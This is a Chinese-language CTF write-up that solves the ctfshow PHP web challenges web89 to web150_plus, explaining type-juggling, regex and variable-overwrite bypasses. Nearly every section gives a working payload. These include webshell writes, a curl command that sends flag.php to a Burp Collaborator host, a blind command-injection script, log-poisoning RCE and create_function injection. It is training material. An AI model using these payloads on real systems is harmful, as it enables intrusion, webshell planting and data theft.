知其然知其所以然,尽量把每种特性都详细讲明白。
目录
web89-toc" style="margin-left:0px;">web89
web90-toc" style="margin-left:0px;">web90
web91-toc" style="margin-left:0px;">web91
web92-toc" style="margin-left:0px;">web92
web93-toc" style="margin-left:0px;">web93
web94-toc" style="margin-left:0px;">web94
web95-toc" style="margin-left:0px;">web95
web96-toc" style="margin-left:0px;">web96
web97-toc" style="margin-left:0px;">web97
web98-toc" style="margin-left:0px;">web98
web99-toc" style="margin-left:0px;">web99
web100-toc" style="margin-left:0px;">web100
web101-toc" style="margin-left:0px;">web101
web102-toc" style="margin-left:0px;">web102
web103-toc" style="margin-left:0px;">web103
web104-toc" style="margin-left:0px;">web104
web105-toc" style="margin-left:0px;">web105
web106-toc" style="margin-left:0px;">web106
web107-toc" style="margin-left:0px;">web107
web108-toc" style="margin-left:0px;">web108
web109-toc" style="margin-left:0px;">web109
web110-toc" style="margin-left:0px;">web110
web111-toc" style="margin-left:0px;">web111
web112-toc" style="margin-left:0px;">web112
web113-toc" style="margin-left:0px;">web113
web114-toc" style="margin-left:0px;">web114
web115-toc" style="margin-left:0px;">web115
web123-toc" style="margin-left:0px;">web123
web125-toc" style="margin-left:0px;">web125
web126-toc" style="margin-left:0px;">web126
web127-toc" style="margin-left:0px;">web127
web128-toc" style="margin-left:0px;">web128
web129-toc" style="margin-left:0px;">web129
web130-toc" style="margin-left:0px;">web130
web131-toc" style="margin-left:0px;">web131
web132-toc" style="margin-left:0px;">web132
web133-toc" style="margin-left:0px;">web133
web134-toc" style="margin-left:0px;">web134
web135-toc" style="margin-left:0px;">web135
web136-toc" style="margin-left:0px;">web136
web137-toc" style="margin-left:0px;">web137
web138-toc" style="margin-left:0px;">web138
web139-toc" style="margin-left:0px;">web139
web140-toc" style="margin-left:0px;">web140
web141-toc" style="margin-left:0px;">web141
web142-toc" style="margin-left:0px;">web142
web143-toc" style="margin-left:0px;">web143
web144-toc" style="margin-left:0px;">web144
web145-toc" style="margin-left:0px;">web145
web146-toc" style="margin-left:0px;">web146
web147-toc" style="margin-left:0px;">web147
web148-toc" style="margin-left:0px;">web148
web149-toc" style="margin-left:0px;">web149
web150-toc" style="margin-left:0px;">web150
web150_plus-toc" style="margin-left:0px;">web150_plus
web89">web89
向preg_match中传参数组会报错,可绕过preg_match
intval函数如果接收一个对象会返回1,而PHP 中的数组也可以看做是一种对象。在 PHP 中,数组是通过内置的 Array 类实现的。这个类提供了多种方法和属性,用于操作和管理数组。因此,我们可以将数组看作是一个对象,通过调用其方法和属性来实现对数组的操作。
我们可以本地跑一下,验证这个特性。
<?php
$arr=array(0=>'0x401');
$res=intval($arr);
echo $res;
payload:
?num[]=0x401
web90">web90
intval里参数base=0,就把选择进制的权利交给了输入者,我们可以用16进制或8进制来绕过
?num=0x117c
?num=010574
web91">web91
在正则表达式中,/im
是用于设置匹配模式的标志之一。它由两个字母组成:i
和 m
。
-
i
(不区分大小写):该标志表示进行大小写不敏感的匹配。当使用i
标志时,正则表达式将不区分字母的大小写。例如,正则表达式/hello/i
可以匹配 "hello"、"Hello"、"HELLO" 等。 -
m
(多行模式):该标志表示进行多行匹配。当使用m
标志时,正则表达式中的^
和$
元字符将分别匹配行的开头和结尾,而不仅仅是整个字符串的开头和结尾。例如,正则表达式/^hello/m
可以匹配以 "hello" 开头的每一行。
我们可以本地跑几个例子理解一下啥是多行模式
<?php
$a="abc123\nabc123cde";
if(preg_match('/^abc.*cde$/m', $a)){
echo 'hacker1';
}
echo '<br>';
$b="abc123cde\nabc123";
if(preg_match('/^abc.*cde$/m', $b)){
echo 'hacker2';
}
echo '<br>';
$c="abc123\n123cde";
if(preg_match('/^abc.*cde$/m', $c)){
echo 'hacker3';
}
不难发现,多行内容只要有一行内容符合正则表达式就可以返回true,但如果多行不符合正则的内容拼接起来而符合正则时,则只会返回false。
我们再来看单行内容
<?php
if (preg_match('/^flag$/', $_GET['a'])) {
echo 'success';
}
else echo 'no!';
?flag=%0aflag //no!
?flag=flag%0a //success
我们发现其只对第一行内容进行判断
结合以上分析不难得出下面的payload
?cmd=%0aphp
web92">web92
和上面一样,进制绕过即可
?num=0x117C
?num=010574
web93">web93
过滤了小写字母,8进制就可
?num=010574
web94">web94
主要是解读strpos
要想不进这个判断
if(!strpos($num, "0")){die("no no no!");}
我们就要让strpos返回一个不为0的数字或者TRUE,也就是在除了字符串首的地方加一个0即可。
不难推出payload
?num=4476.0
web95">web95
多过滤了'.',遇事不决用空格。
mixed类型的$var自带一个隐式类型转换,所以%20401会转换成401(%20是空格的url编码)
我们可以本地测一下
<?php
$num=$_GET['num'];
if(intval($num,0)===4476){
echo 'success';
}
else{
echo 'no!';
}
?num= 4476
因为%20已经占了第一个字符了,所以我们又可以用八进制绕过。
最终payload:
?num=%20010574
web96">web96
ban了相对路径,我们用绝对路径就可以。这里也可以用file协议哈
?u=/var/www/html/flag.php
?u=file:///var/www/html/flag.php
web97">web97
md5传数组即可绕过
我们可以本地测一下
<?php
$num=array(0=>1);
echo (md5($num)===NULL);
这里可以看出给md5传参数组会返回一个NULL
所以不管数组内容为什么,比较时都是NULL===NULL,也就顺利绕过了。
最终payload:
a[]=1&b[]=2
web98">web98
三元运算符不解释
只要get传值就可以把$_GET=&$_POST(就是C语言传址那个)
然后就顺利highlight_file($flag);
?1=1
post:HTTP_FLAG=flag
web99">web99
很明显数组里出现可能性最大的数字是1
那么1.php能匹配到数组元素1吗
我们本地搭一下
<?php
$arr=array(0=>1);
if(in_array('1.php', $arr)){
echo 'success';
}
可以过,为什么呢?因为当mixed类型的needle与数组haystack中元素进行比较时会进行一个隐式类型转换。
最终payload:
?n=1.php
post:content=<?php eval($_POST[1]);?>
成功写马,下略。
web100">web100
这段代码,因为赋值运算优先级高于逻辑运算,所以要进if($v0),只要让$v1为数字就可,对$v2和$v3没有要求。
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
这里我们介绍下PHP的反射类ReflectionClass
通过echo可以调用 ReflectionClass的__toString()方法,从而输出参数类的具体信息
题目说flag在ctfshow>ctfshow类里,刚好可以利用。
最终payload:
?v1=1&v2=echo new ReflectionClass&v3=;
输出结果如下
web101">web101
和上一题一样,不解释
?v1=1&v2=echo new ReflectionClass&v3=;
web102">web102
$v4还是赋值语句优先级大于逻辑语句,所以只要让v2为数字即可。
v2得是数字??????我测,拿数字当参数的回调函数真的有吗?
还真有,比如hex2bin,当数字为科学计数法时可以将其解读为16进制转字符串。
然后要把这个字符串当文件内容写入$v3,$v3可以是带过滤器的伪协议。
在 Base64 编码中,末尾的 =
字符通常用于填充,以确保编码后的字符串长度是4的倍数。这是因为 Base64 编码是按照每3个字节编码为4个字符的规则进行的,如果数据长度不是3的倍数,就需要使用 =
字符进行填充。
所以删除末尾的'='并不会改变解码结果
再字符串转hex,神奇的发现其是只带e的字符串,也可以解读为科学计数法。
因为$s从第二位开始截,所以前面要随便加两个数字。
最终payload:
?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
post:v1=hex2bin
web103">web103
你过滤php和我hex字符串有什么关系
继续上一题payload
web104">web104
?v2[]=1
post:v1[]=2
sha1和md5一样都是哈希算法,如果传数组都会warning且返回一个null
数组绕过即可
web105">web105
$$一眼变量覆盖
?temp=flag
post:error=temp
通过temp作为中间转接量,最终达到把$error的值覆盖成$flag,并通过die输出。
web106">web106
经典数组绕过,不解释
?v2[]=2
post:v1[]=1
web107">web107
parse_str还是变量覆盖
payload:
?v3[]=1
post:v1=flag=
空等于空,等式成立
web108">web108
ereg需要纯字母,intval要反转后等于0x36d
php也是C语言写的,所以字符串只读到\00结束
我们可以本地测一下
<?php
$a=$_GET['a'];
if(preg_match('/^[a-zA-Z]+$/', $a)){
echo 'success1';
}
echo '<br>';
if(@ereg('^[a-zA-Z]+$', $a)){
echo 'success2';
}
?a=abc%00123
可以发现ereg函数存在NULL截断漏洞,这里要用到00截断,而preg_match不存在
payload:
?c=a%00778
web109">web109
对v2后面的括号进行解释,如v2=system(ls),$v2()
会把$v2
返回的值会作为函数名去调用,但是调用失败了。
只要变量后面紧跟着(),那么对这个变量进行函数调用。
调用失败归失败,但是函数本身已经执行就可。
最常用的带__toString的类就Exception()呗
最终payload:
?v1=Exception&v2=system('tac fl36dg.txt')
web110">web110
DirectoryInterator:遍历目录的类
FilesystemIterator:遍历文件的类
getcwd()函数 获取当前工作目录 返回当前工作目录
最终payload:
?v1=FilesystemIterator&v2=getcwd
返回的是当前目录的第一个文件
访问拿到flag
web111">web111
getFlag函数是个变量覆盖,把$v1覆盖成$v2
?v1=ctfshow>ctfshow&v2=flag
擦,是空的,我踏马直接全局变量
在 PHP 中,$GLOBALS
是一个包含了全局变量的关联数组。它可以访问在脚本中定义的任何全局变量,不论其作用域。
然后var_dump出全局变量的数组
?v1=ctfshow>ctfshow&v2=GLOBALS
web112">web112
is_file()函数检查指定的文件名是否是正常的文件。如果文件存在且为正常的文件,则返回 true。
用伪协议即可
?file=php://filter/resource=flag.php
web113">web113
问就是积累一下吧(
?file=compress.zlib://flag.php
web114">web114
又把filter放出来了
?file=php://filter/resource=flag.php
web115">web115
肯定是36前后加东西呗
建议直接拿脚本跑一下
<?php
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
for ($i=0; $i <=128 ; $i++) {
$x=chr($i).'36';
if(trim($x)!=='36' && is_numeric($x) && filter($x)=='36' && trim($x)!=='36' && $x=='36'){
echo urlencode(chr($i))."\t";
}
}
结果
payload:
?num=%0c36
web123">web123
可以直接走变量覆盖,通过argv传参
?suibian=1+fl0g=flag_give_me
post:CTF_SHOW=1&CTF[SHOW.COM=2&fun=parse_str($a[1])
另一种变量覆盖情况
CTF_SHOW=1&CTF[SHOW.COM=2&fun=extract($_POST)&fl0g=flag_give_me
还可以直接命令执行来变量覆盖
CTF_SHOW=1&CTF[SHOW.COM=2&fun=eval($_POST[1])&1=$fl0g=flag_give_me;
也可以命令注入,直接输出flag
CTF_SHOW=1&CTF[SHOW.COM=2&fun=echo $flag
web125">web125
CTF_SHOW=1&CTF[SHOW.COM=2&fun=extract($_POST)&fl0g=flag_give_me
CTF_SHOW=1&CTF[SHOW.COM=2&fun=eval($_POST[1])&1=$fl0g=flag_give_me;
web126">web126
终于上长度限制了(
还禁了一个不区分大小写的'o',相当于ban了$_POST;禁了一个不区分大小写的'c',相当于ban了extract
但我们还可以走argv来转接
?suibian=1+fl0g=flag_give_me
post:CTF_SHOW=1&CTF[SHOW.COM=2&fun=parse_str($a[1])
web127">web127
$SERVER['QUERY_STRING']可以用url编码直接绕过,因为它接受的是原始数据,不会将传入的参数进行url解码,但$_GET[]传参会直接url解码。
可以本地测一下
<?php
$a=$_SERVER['QUERY_STRING'];
echo $a;
echo '<br>';
var_dump($_GET);
?>
?%63%74%66%5f%73%68%6f%77=%69%6c%6f%76%65%33%36%64&b=Z3r4y
结果
不难推出,最终payload:
?%63%74%66%5f%73%68%6f%77=%69%6c%6f%76%65%33%36%64
web128">web128
确实是骚姿势,无数字字母的函数有什么呢?
gettext()
是 PHP 中用于国际化(i18n)和本地化(l10n)的函数,它用于在多语言环境下实现字符串翻译。
_是gettext()的别名
在 gettext 中,如果找不到对应的翻译文本,它会返回原始的文本字符串。
在这题比如:
?f1=_&f2=phpinfo
这样可以弹phpinfo
而内部call_user_func返回值作为外部call_user_func的回调函数,这个函数必须是无参的,那答案已经呼之欲出了:
?f1=_&f2=get_defined_vars
直接输出已经注册的变量 。
web129">web129
意思就是说ctfshow>ctfshow要在字符串里,且不能是ctfshow>ctfshow打头,然后进行一个文件的读。
把ctfshow>ctfshow写路径里就行了,反正目录穿越上一层后再下一层还是在穿越前的目录,哪怕ctfshow>ctfshow不存在也不影响。
?f=../../../../../../../ctfshow>ctfshow/../../../../var/www/html/flag.php
成功读文件
web130">web130
题目简介懂得都懂,一眼PCRE回溯上限绕过
<?php
$a=str_repeat('Z3r4y',200000);
$b=$a.'ctfshow>ctfshow';
echo $b;
拿脚本生成的payload post传一下就好
web131">web131
<?php
$a=str_repeat('Z3r4y',200000);
$b=$a.'36Dctfshow>ctfshow';
echo $b;
改下脚本直接打就好。
web132">web132
访问/robots.txt
访问/admin
与优先级大于或,不解释,那只要让username等于admin就能进第二层if,code=admin就能进第三层if
?username=admin&code=admin&password=1
web133">web133
6个常规构造怎么可能够,肯定得想点新路子。
这里比较巧妙地用了变量覆盖进行转接来拓展长度。
已经知道flag路径可以利用Burp的 Collaborator Client外带
?F=`$F`; curl -X POST -F file=@flag.php http://pjc1chltz8fy3jeeacj7yv3x3o9fx4.burpcollaborator.net
为啥不用ceye,因为在写这篇文章的时候ceye被和谐了(
web134">web134
parse_str+extract两个变量覆盖当跳板
好说好说
payload:
?_POST[key1]=36d&_POST[key2]=36d
web135">web135
这题给写文件了,那不还是手到擒来~
?F=`$F `;nl flag.php >1.txt
访问1.txt即可
web136">web136
一眼无回显rce,curl,nc这些ban了就不好反弹shell了,然后>写文件也被ban了,问题不大,还放了个tee,虽然ban了个'.' ,但无伤大雅。
在 Linux 中,tee
命令的输出可以存储到一个文件中,该文件可以没有后缀名。
?c=cat /f149_15_h3r3|tee 1
直接访问1即可
web137">web137
因为没有包含flag.php,$flag变量没有被注册,所以不能直接get_defined_vars
那咋整呢,可以看看题目的ctfshow>ctfshow类,显然可以调用其静态方法来拿flag.php内容
ctfshow>ctfshow=ctfshow>ctfshow::getFlag
web138">web138
ban了':',我们可以继续看php官方文档里call_user_func对类方法的调用:
发现传入一个数组,会将第一个元素作为类,第二个元素作为静态方法
post:ctfshow>ctfshow[0]=ctfshow>ctfshow&ctfshow>ctfshow[1]=getFlag
web139">web139
没法子,过滤太绝了,只能盲注
import requests
url = "http://15e87f4e-83d3-47f3-b553-82241a3bb631.challenge.ctf.show/?c="
payload = "if [ `cat /f149_15_h3r3 | cut -c {}` == \"{}\" ];then sleep 4;fi"
result = "+++++++++++++++++"
length=48
strings = "abcdefghijklmnopqrstuvwxyz_-0123456789{}"
for c in range(1,length):
print("+++++++++++++++第"+str(c)+"个字符")
for s in strings:
target = url+payload.format(c,s)
#print(target)
try:
requests.get(target,timeout=2.5)
except:
result +=s
print(result)
break
result += ""
print(result)
手动加两括号就行
web140">web140
intval($code)只要为0就可以过掉弱类型
我比较喜欢用md5(md5()),他们的返回值是0,且好记。
<?php
$a=intval(md5(md5()));
if($a==0){
die('ok!');
}
payload:
post:f1=md5&f2=md5
web141">web141
\W
:表示匹配任何非字母数字字符。等效于 [^A-Za-z0-9_]
一眼无字母数字RCE(eval里可以直接位运算)
问题就是$v1和$v2都是数字,不太好处理
我们可以本地先试通了
<?php
1-phpinfo()-1;
发现可以执行
ok最难的一步走好了,剩下的就是位运算八股了。
最终payload:
?v1=1&v2=1&v3=-(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)-
web142">web142
正常写那不直接睡死了。所以要乘一个0,这样就可以瞬间拿到flag.php文件内容。
?v1=0
web143">web143
~被ban了,不让取反,但放了^,可以直接异或
ban了'-',问题不大
可以用'*'或'/'(关于为啥不用加号,因为加号传进去会变成空格QWQ)
可以本地跑了看看
<?php
1/phpinfo()/1;
// 1*phpinfo()*1;
ok接下来跑异或脚本(注意正则不同,最后的字典也不同)
最终payload:
?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%00"^"%7f%60%60%20%60%2a")*
web144">web144
就是多限制了一个$v3只能有一个数字,问题不大
本地试一下
<?php
1-phpinfo();
没有一点问题
OK下面直接取反
payload:
?v1=1&v3=-&v2=(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)
web145">web145
ban了'^',放出了'~',还是取反
但加减乘除全ban了,这咋整,我们可以用三元运算
先本地试试
<?php
1?phpinfo():1;
下面脚本跑取反
最终payload:
?v1=1&v2=1&v3=?(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5):
web146">web146
':'也ban了,还能咋整
还有下面这种姿势:
本地跑
<?php
1|phpinfo()|1;
可以过。
取反RCE即可
最终payload:
?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)|
web147">web147
有经验的师傅,一眼就看出来了create_function注入(因为第一个参数为空)
问题就是怎么要过掉preg_match(没有eval所以不能位运算哈)
什么你想头铁试试?
食报错吧你!
所以可以写个脚本(虽然是半自动的hhh)
<?php
for ($i=32;$i<127;$i++){
$a=chr($i).'create_function';
if (!preg_match('/^[a-z0-9_]*$/isD',$a)){
echo chr($i)." ";
}
}
一个一个试过去就好,试出来'\'符合条件
最终payload:
?show=1;}system('tac f*');/*
post:ctf=\create_function
web148">web148
无字母数字RCE,ban了'~',直接异或不解释
最终payload:
?code=("%07%05%09%01%03%09%06%08%08%0f%08%01%06%0c%0b%07"^"%60%60%7d%5e%60%7d%60%7b%60%60%7f%5e%60%60%3b%60")();
web149">web149
乍一看像条件竞争,但也许我们可以直接釜底抽薪,修改index.php,根除删文件的问题。
?ctf=index.php
post:show=<?php eval($_POST[1]);?>
拿shell后
post:1=system("tac /ctfshow>ctfshow_fl0g_here.txt");
web150">web150
$isVIP可以用extract变量覆盖,然后文件包含不含':'的路径,那最简单不就日志包含嘛。
最终payload:
?isVIP=1
post:ctf=/var/log/nginx/access.log&a=system("tac fl*");
UA:<?php @eval($_POST[a]);?>
web150_plus">web150_plus
源码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-19 07:12:57
*/
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);
class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;
function __construct(){
$this->vip = 0;
$this->secret = $flag;
}
function __destruct(){
echo $this->secret;
}
public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}
function __autoload($class){
if(isset($class)){
$class();
}
}
#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}
if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
include($ctf);
}
这里__autoload并不是CTFSHOW这个类的方法,它是独立在类外的,只不过缩进比较迷惑人。
__autoload
函数只有在以下条件满足时才会触发:
-
当代码中尝试使用一个未定义的类时,即在代码中出现了类名,但该类尚未被定义或加载。
-
当 PHP 解释器在当前命名空间找不到所需的类时,即命名空间中没有定义该类。
此时,PHP 解释器会自动调用 __autoload
函数,并将需要加载的类名作为参数传递给它。
__CTFSHOW__的url全编码可以配合$_SERVER['QUERY_STRING']绕过preg_match
最终payload:
?%5f%5f%43%54%46%53%48%4f%57%5f%5f=phpinfo
看phpinfo拿到flag